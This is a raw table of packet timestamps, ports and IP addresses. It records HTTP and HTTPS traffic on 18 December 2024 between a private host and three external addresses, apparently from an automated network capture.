Dec 18, 2024 12:00:20.175164938 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.176141024 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.176152945 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.176214933 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.176256895 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.177416086 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.177489042 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.177515030 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.177560091 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.178941965 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.178953886 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.179019928 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.180155993 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.180202961 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.180396080 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.180641890 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.181354046 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.181417942 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.181561947 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:20.181616068 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:20.695940018 CET	443	49944	104.21.23.76	192.168.2.6
Dec 18, 2024 12:00:20.696042061 CET	49944	443	192.168.2.6	104.21.23.76
Dec 18, 2024 12:00:20.722713947 CET	49944	443	192.168.2.6	104.21.23.76
Dec 18, 2024 12:00:20.722735882 CET	443	49944	104.21.23.76	192.168.2.6
Dec 18, 2024 12:00:20.722974062 CET	443	49944	104.21.23.76	192.168.2.6
Dec 18, 2024 12:00:20.724936008 CET	49944	443	192.168.2.6	104.21.23.76
Dec 18, 2024 12:00:20.725202084 CET	49944	443	192.168.2.6	104.21.23.76
Dec 18, 2024 12:00:20.725227118 CET	443	49944	104.21.23.76	192.168.2.6
Dec 18, 2024 12:00:21.053836107 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:21.054213047 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:21.176080942 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:21.176107883 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:21.177275896 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:21.177408934 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:21.414125919 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:21.417735100 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:21.505614042 CET	443	49944	104.21.23.76	192.168.2.6
Dec 18, 2024 12:00:21.505680084 CET	443	49944	104.21.23.76	192.168.2.6
Dec 18, 2024 12:00:21.505707979 CET	443	49944	104.21.23.76	192.168.2.6
Dec 18, 2024 12:00:21.505736113 CET	443	49944	104.21.23.76	192.168.2.6
Dec 18, 2024 12:00:21.505773067 CET	49944	443	192.168.2.6	104.21.23.76
Dec 18, 2024 12:00:21.505784035 CET	443	49944	104.21.23.76	192.168.2.6
Dec 18, 2024 12:00:21.505799055 CET	49944	443	192.168.2.6	104.21.23.76
Dec 18, 2024 12:00:21.512449980 CET	443	49944	104.21.23.76	192.168.2.6
Dec 18, 2024 12:00:21.512521982 CET	49944	443	192.168.2.6	104.21.23.76
Dec 18, 2024 12:00:21.512527943 CET	443	49944	104.21.23.76	192.168.2.6
Dec 18, 2024 12:00:21.520344019 CET	443	49944	104.21.23.76	192.168.2.6
Dec 18, 2024 12:00:21.520421028 CET	49944	443	192.168.2.6	104.21.23.76
Dec 18, 2024 12:00:21.520426035 CET	443	49944	104.21.23.76	192.168.2.6
Dec 18, 2024 12:00:21.535768032 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:21.539048910 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:21.565685987 CET	49944	443	192.168.2.6	104.21.23.76
Dec 18, 2024 12:00:21.565695047 CET	443	49944	104.21.23.76	192.168.2.6
Dec 18, 2024 12:00:21.612592936 CET	49944	443	192.168.2.6	104.21.23.76
Dec 18, 2024 12:00:21.625412941 CET	443	49944	104.21.23.76	192.168.2.6
Dec 18, 2024 12:00:21.674973011 CET	49944	443	192.168.2.6	104.21.23.76
Dec 18, 2024 12:00:21.696482897 CET	443	49944	104.21.23.76	192.168.2.6
Dec 18, 2024 12:00:21.700351954 CET	443	49944	104.21.23.76	192.168.2.6
Dec 18, 2024 12:00:21.700403929 CET	49944	443	192.168.2.6	104.21.23.76
Dec 18, 2024 12:00:21.700412035 CET	443	49944	104.21.23.76	192.168.2.6
Dec 18, 2024 12:00:21.702173948 CET	443	49944	104.21.23.76	192.168.2.6
Dec 18, 2024 12:00:21.702266932 CET	49944	443	192.168.2.6	104.21.23.76
Dec 18, 2024 12:00:21.708622932 CET	49944	443	192.168.2.6	104.21.23.76
Dec 18, 2024 12:00:21.708636045 CET	443	49944	104.21.23.76	192.168.2.6
Dec 18, 2024 12:00:22.047777891 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:22.047838926 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:22.108803988 CET	49953	443	192.168.2.6	104.21.23.76
Dec 18, 2024 12:00:22.108844042 CET	443	49953	104.21.23.76	192.168.2.6
Dec 18, 2024 12:00:22.108973980 CET	49953	443	192.168.2.6	104.21.23.76
Dec 18, 2024 12:00:22.109267950 CET	49953	443	192.168.2.6	104.21.23.76
Dec 18, 2024 12:00:22.109296083 CET	443	49953	104.21.23.76	192.168.2.6
Dec 18, 2024 12:00:22.517497063 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:22.517561913 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:22.534176111 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:22.660103083 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:22.999907017 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.000005007 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.000017881 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.000029087 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.000040054 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.000051975 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.000065088 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.000118017 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.000118017 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.000118971 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.000118971 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.000206947 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.000220060 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.000231028 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.000262022 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.000345945 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.007700920 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.010785103 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.029114008 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:23.120454073 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.120626926 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.149315119 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:23.181907892 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.182058096 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.182528019 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.182614088 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.186119080 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.186359882 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.186515093 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.186639071 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.194498062 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.194600105 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.194848061 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.195012093 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.202903986 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.202999115 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.203032970 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.203116894 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.211523056 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.211735010 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.212323904 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.212424994 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.219713926 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.219804049 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.220382929 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.220509052 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.228019953 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.228152037 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.229609966 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.229737043 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.236470938 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.236583948 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.236774921 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.236896038 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.244827032 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.244899035 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.244935036 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.245023012 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.253346920 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.253463984 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.253719091 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.253844023 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.261634111 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.261750937 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.261838913 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.261924028 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.269323111 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.269429922 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.321166039 CET	443	49953	104.21.23.76	192.168.2.6
Dec 18, 2024 12:00:23.322902918 CET	49953	443	192.168.2.6	104.21.23.76
Dec 18, 2024 12:00:23.325072050 CET	49953	443	192.168.2.6	104.21.23.76
Dec 18, 2024 12:00:23.325087070 CET	443	49953	104.21.23.76	192.168.2.6
Dec 18, 2024 12:00:23.325314045 CET	443	49953	104.21.23.76	192.168.2.6
Dec 18, 2024 12:00:23.326765060 CET	49953	443	192.168.2.6	104.21.23.76
Dec 18, 2024 12:00:23.326765060 CET	49953	443	192.168.2.6	104.21.23.76
Dec 18, 2024 12:00:23.326812983 CET	443	49953	104.21.23.76	192.168.2.6
Dec 18, 2024 12:00:23.373049021 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.373184919 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.373220921 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.373300076 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.376934052 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.377036095 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.377155066 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.377281904 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.384951115 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.385037899 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.385081053 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.385145903 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.392178059 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.392277956 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.392373085 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.392587900 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.399898052 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.399930954 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.399956942 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.400034904 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.407604933 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.407772064 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.407994986 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.408091068 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.412178040 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.412301064 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.412333012 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.412517071 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.416938066 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.417125940 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.417125940 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.417215109 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.421380043 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.421503067 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.421689034 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.425802946 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.425863981 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.426533937 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.426867008 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.430195093 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.430330038 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.430522919 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.434613943 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.434931993 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.435127020 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.435187101 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.439143896 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.439157963 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.439251900 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.443597078 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.443800926 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.443953991 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.448162079 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.448241949 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.448381901 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.448462009 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.452617884 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.452888012 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.452918053 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.453615904 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.457139015 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.457304955 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.458081961 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.458276987 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.461751938 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.461929083 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.462029934 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.466110945 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.466233015 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.466319084 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.466412067 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.470650911 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.470730066 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.471106052 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.471164942 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.492813110 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.492866039 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.493700981 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.495260000 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.499356031 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.563905001 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.564017057 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.564173937 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.564261913 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.565177917 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.565306902 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.565474033 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.565704107 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.569571018 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.569669008 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.569864035 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.569950104 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.573945999 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.574014902 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.574341059 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.574409962 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.578279018 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.578603029 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.579099894 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.579169035 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.582461119 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.582585096 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.583033085 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.583097935 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.586503029 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.586613894 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.586915016 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.587097883 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.590723038 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.590804100 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.590969086 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.591381073 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.594188929 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.594281912 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.594312906 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.594643116 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.597814083 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.597891092 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.598606110 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.598772049 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.601412058 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.601948023 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.602005005 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.602101088 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.604962111 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.605079889 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.605134010 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.605379105 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.608532906 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.608674049 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.609006882 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.609087944 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.611975908 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.612056017 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.612237930 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.612411976 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.615489006 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.616873026 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.619107008 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.619183064 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.619215965 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.619663000 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.622558117 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.622638941 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.622659922 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.622752905 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.624635935 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.624846935 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.625092030 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.625334024 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.626697063 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.626916885 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.626966000 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.627082109 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.628829002 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.628942966 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.629009008 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.630796909 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.631000996 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.631091118 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.631385088 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.632895947 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.632952929 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.633105993 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.633166075 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.634910107 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.634967089 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.635056973 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.635106087 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.636977911 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.637562990 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.637619972 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.639061928 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.639121056 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.639292955 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.639348984 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.641227961 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.641328096 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.641429901 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.641485929 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.643085003 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.643141985 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.643151999 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.643203974 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.645210028 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.645261049 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.645286083 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.645335913 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.647284985 CET	80	49950	185.215.113.16	192.168.2.6
